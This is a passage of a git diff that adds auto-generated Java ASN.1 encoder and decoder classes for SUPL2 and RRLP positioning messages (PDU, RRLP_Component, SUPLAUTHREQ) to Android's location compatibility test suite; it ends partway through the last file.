diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_messages/PDU.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_messages/PDU.java
new file mode 100755
index 0000000..edb2950
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_messages/PDU.java
@@ -0,0 +1,366 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_messages;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class PDU extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_PDU
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PDU() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PDU;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PDU != null) {
+ return ImmutableList.of(TAG_PDU);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PDU from encoded stream.
+ */
+ public static PDU fromPerUnaligned(byte[] encodedBytes) {
+ PDU result = new PDU();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PDU from encoded stream.
+ */
+ public static PDU fromPerAligned(byte[] encodedBytes) {
+ PDU result = new PDU();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PDU.referenceNumberType referenceNumber_;
+ public PDU.referenceNumberType getReferenceNumber() {
+ return referenceNumber_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PDU.referenceNumberType
+ */
+ public void setReferenceNumber(Asn1Object value) {
+ this.referenceNumber_ = (PDU.referenceNumberType) value;
+ }
+ public PDU.referenceNumberType setReferenceNumberToNewInstance() {
+ referenceNumber_ = new PDU.referenceNumberType();
+ return referenceNumber_;
+ }
+
+ private RRLP_Component component_;
+ public RRLP_Component getComponent() {
+ return component_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RRLP_Component
+ */
+ public void setComponent(Asn1Object value) {
+ this.component_ = (RRLP_Component) value;
+ }
+ public RRLP_Component setComponentToNewInstance() {
+ component_ = new RRLP_Component();
+ return component_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceNumber() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceNumber();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceNumberToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PDU.referenceNumberType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceNumber : "
+ + getReferenceNumber().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getComponent() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getComponent();
+ }
+
+ @Override public void setToNewInstance() {
+ setComponentToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RRLP_Component.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "component : "
+ + getComponent().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class referenceNumberType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_referenceNumberType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public referenceNumberType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_referenceNumberType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_referenceNumberType != null) {
+ return ImmutableList.of(TAG_referenceNumberType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new referenceNumberType from encoded stream.
+ */
+ public static referenceNumberType fromPerUnaligned(byte[] encodedBytes) {
+ referenceNumberType result = new referenceNumberType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new referenceNumberType from encoded stream.
+ */
+ public static referenceNumberType fromPerAligned(byte[] encodedBytes) {
+ referenceNumberType result = new referenceNumberType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "referenceNumberType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("PDU = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_messages/RRLP_Component.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_messages/RRLP_Component.java
new file mode 100755
index 0000000..b594913
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_messages/RRLP_Component.java
@@ -0,0 +1,668 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_messages;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import android.location.cts.asn1.supl2.rrlp_components.AssistanceData;
+import android.location.cts.asn1.supl2.rrlp_components.MsrPosition_Req;
+import android.location.cts.asn1.supl2.rrlp_components.MsrPosition_Rsp;
+import android.location.cts.asn1.supl2.rrlp_components.PosCapability_Req;
+import android.location.cts.asn1.supl2.rrlp_components.PosCapability_Rsp;
+import android.location.cts.asn1.supl2.rrlp_components.ProtocolError;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class RRLP_Component extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_RRLP_Component
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "RRLP_Component: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public RRLP_Component() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_RRLP_Component;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_RRLP_Component != null) {
+ return ImmutableList.of(TAG_RRLP_Component);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new RRLP_Component from encoded stream.
+ */
+ public static RRLP_Component fromPerUnaligned(byte[] encodedBytes) {
+ RRLP_Component result = new RRLP_Component();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new RRLP_Component from encoded stream.
+ */
+ public static RRLP_Component fromPerAligned(byte[] encodedBytes) {
+ RRLP_Component result = new RRLP_Component();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $MsrPositionReq(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new MsrPosition_Req();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MsrPosition_Req.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $MsrPositionRsp(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new MsrPosition_Rsp();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MsrPosition_Rsp.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $AssistanceData(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new AssistanceData();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AssistanceData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $AssistanceDataAck(Asn1Tag.fromClassAndNumber(2, 3),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new RRLP_Component.assistanceDataAckType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RRLP_Component.assistanceDataAckType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $ProtocolError(Asn1Tag.fromClassAndNumber(2, 4),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new ProtocolError();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ProtocolError.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isMsrPositionReq() {
+ return !hasExtensionValue() && Select.$MsrPositionReq == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsrPositionReq}.
+ */
+ @SuppressWarnings("unchecked")
+ public MsrPosition_Req getMsrPositionReq() {
+ if (!isMsrPositionReq()) {
+ throw new IllegalStateException("RRLP_Component value not a MsrPositionReq");
+ }
+ return (MsrPosition_Req) element;
+ }
+
+ public void setMsrPositionReq(MsrPosition_Req selected) {
+ selection = Select.$MsrPositionReq;
+ extension = false;
+ element = selected;
+ }
+
+ public MsrPosition_Req setMsrPositionReqToNewInstance() {
+ MsrPosition_Req element = new MsrPosition_Req();
+ setMsrPositionReq(element);
+ return element;
+ }
+
+
+
+ public boolean isMsrPositionRsp() {
+ return !hasExtensionValue() && Select.$MsrPositionRsp == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMsrPositionRsp}.
+ */
+ @SuppressWarnings("unchecked")
+ public MsrPosition_Rsp getMsrPositionRsp() {
+ if (!isMsrPositionRsp()) {
+ throw new IllegalStateException("RRLP_Component value not a MsrPositionRsp");
+ }
+ return (MsrPosition_Rsp) element;
+ }
+
+ public void setMsrPositionRsp(MsrPosition_Rsp selected) {
+ selection = Select.$MsrPositionRsp;
+ extension = false;
+ element = selected;
+ }
+
+ public MsrPosition_Rsp setMsrPositionRspToNewInstance() {
+ MsrPosition_Rsp element = new MsrPosition_Rsp();
+ setMsrPositionRsp(element);
+ return element;
+ }
+
+
+
+ public boolean isAssistanceData() {
+ return !hasExtensionValue() && Select.$AssistanceData == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isAssistanceData}.
+ */
+ @SuppressWarnings("unchecked")
+ public AssistanceData getAssistanceData() {
+ if (!isAssistanceData()) {
+ throw new IllegalStateException("RRLP_Component value not a AssistanceData");
+ }
+ return (AssistanceData) element;
+ }
+
+ public void setAssistanceData(AssistanceData selected) {
+ selection = Select.$AssistanceData;
+ extension = false;
+ element = selected;
+ }
+
+ public AssistanceData setAssistanceDataToNewInstance() {
+ AssistanceData element = new AssistanceData();
+ setAssistanceData(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class assistanceDataAckType extends Asn1Null {
+ //
+
+ private static final Asn1Tag TAG_assistanceDataAckType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public assistanceDataAckType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_assistanceDataAckType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_assistanceDataAckType != null) {
+ return ImmutableList.of(TAG_assistanceDataAckType);
+ } else {
+ return Asn1Null.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new assistanceDataAckType from encoded stream.
+ */
+ public static assistanceDataAckType fromPerUnaligned(byte[] encodedBytes) {
+ assistanceDataAckType result = new assistanceDataAckType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new assistanceDataAckType from encoded stream.
+ */
+ public static assistanceDataAckType fromPerAligned(byte[] encodedBytes) {
+ assistanceDataAckType result = new assistanceDataAckType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "assistanceDataAckType (null value);\n";
+ }
+}
+
+
+ public boolean isAssistanceDataAck() {
+ return !hasExtensionValue() && Select.$AssistanceDataAck == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isAssistanceDataAck}.
+ */
+ @SuppressWarnings("unchecked")
+ public RRLP_Component.assistanceDataAckType getAssistanceDataAck() {
+ if (!isAssistanceDataAck()) {
+ throw new IllegalStateException("RRLP_Component value not a AssistanceDataAck");
+ }
+ return (RRLP_Component.assistanceDataAckType) element;
+ }
+
+ public void setAssistanceDataAck(RRLP_Component.assistanceDataAckType selected) {
+ selection = Select.$AssistanceDataAck;
+ extension = false;
+ element = selected;
+ }
+
+ public RRLP_Component.assistanceDataAckType setAssistanceDataAckToNewInstance() {
+ RRLP_Component.assistanceDataAckType element = new RRLP_Component.assistanceDataAckType();
+ setAssistanceDataAck(element);
+ return element;
+ }
+
+
+
+ public boolean isProtocolError() {
+ return !hasExtensionValue() && Select.$ProtocolError == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isProtocolError}.
+ */
+ @SuppressWarnings("unchecked")
+ public ProtocolError getProtocolError() {
+ if (!isProtocolError()) {
+ throw new IllegalStateException("RRLP_Component value not a ProtocolError");
+ }
+ return (ProtocolError) element;
+ }
+
+ public void setProtocolError(ProtocolError selected) {
+ selection = Select.$ProtocolError;
+ extension = false;
+ element = selected;
+ }
+
+ public ProtocolError setProtocolErrorToNewInstance() {
+ ProtocolError element = new ProtocolError();
+ setProtocolError(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ $PosCapabilityReq(Asn1Tag.fromClassAndNumber(2, 5),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new PosCapability_Req();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((PosCapability_Req) element).toIndentedString(indent);
+ }
+ },
+
+ $PosCapabilityRsp(Asn1Tag.fromClassAndNumber(2, 6),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new PosCapability_Rsp();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((PosCapability_Rsp) element).toIndentedString(indent);
+ }
+ },
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+
+ public boolean isExtensionPosCapabilityReq() {
+ return hasExtensionValue() && Extend.$PosCapabilityReq == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isPosCapabilityReq}.
+ */
+ @SuppressWarnings("unchecked")
+ public PosCapability_Req getExtensionPosCapabilityReq() {
+ if (!isExtensionPosCapabilityReq()) {
+ throw new IllegalStateException("RRLP_Component value not a PosCapabilityReq");
+ }
+ return (PosCapability_Req) element;
+ }
+
+ public void setExtensionPosCapabilityReq(PosCapability_Req selected) {
+ selection = Extend.$PosCapabilityReq;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionPosCapabilityReqToNewInstance() {
+ PosCapability_Req element = new PosCapability_Req();
+ setExtensionPosCapabilityReq(element);
+ }
+
+
+
+ public boolean isExtensionPosCapabilityRsp() {
+ return hasExtensionValue() && Extend.$PosCapabilityRsp == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isPosCapabilityRsp}.
+ */
+ @SuppressWarnings("unchecked")
+ public PosCapability_Rsp getExtensionPosCapabilityRsp() {
+ if (!isExtensionPosCapabilityRsp()) {
+ throw new IllegalStateException("RRLP_Component value not a PosCapabilityRsp");
+ }
+ return (PosCapability_Rsp) element;
+ }
+
+ public void setExtensionPosCapabilityRsp(PosCapability_Rsp selected) {
+ selection = Extend.$PosCapabilityRsp;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionPosCapabilityRspToNewInstance() {
+ PosCapability_Rsp element = new PosCapability_Rsp();
+ setExtensionPosCapabilityRsp(element);
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "RRLP_Component = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_auth_req/SUPLAUTHREQ.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_auth_req/SUPLAUTHREQ.java
new file mode 100755
index 0000000..06a36fe
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_auth_req/SUPLAUTHREQ.java
@@ -0,0 +1,286 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_auth_req;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.supl_start.SETCapabilities;
+import android.location.cts.asn1.supl2.ulp_components.Ver;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SUPLAUTHREQ extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SUPLAUTHREQ
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SUPLAUTHREQ() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SUPLAUTHREQ;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SUPLAUTHREQ != null) {
+ return ImmutableList.of(TAG_SUPLAUTHREQ);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SUPLAUTHREQ from encoded stream.
+ */
+ public static SUPLAUTHREQ fromPerUnaligned(byte[] encodedBytes) {
+ SUPLAUTHREQ result = new SUPLAUTHREQ();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SUPLAUTHREQ from encoded stream.
+ */
+ public static SUPLAUTHREQ fromPerAligned(byte[] encodedBytes) {
+ SUPLAUTHREQ result = new SUPLAUTHREQ();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Ver ver_;
+ public Ver getVer() {
+ return ver_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver
+ */
+ public void setVer(Asn1Object value) {
+ this.ver_ = (Ver) value;
+ }
+ public Ver setVerToNewInstance() {
+ ver_ = new Ver();
+ return ver_;
+ }
+
+ private SETCapabilities sETCapabilities_;
+ public SETCapabilities getSETCapabilities() {
+ return sETCapabilities_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SETCapabilities
+ */
+ public void setSETCapabilities(Asn1Object value) {
+ this.sETCapabilities_ = (SETCapabilities) value;
+ }
+ public SETCapabilities setSETCapabilitiesToNewInstance() {
+ sETCapabilities_ = new SETCapabilities();
+ return sETCapabilities_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getVer() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getVer();
+ }
+
+ @Override public void setToNewInstance() {
+ setVerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Ver.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
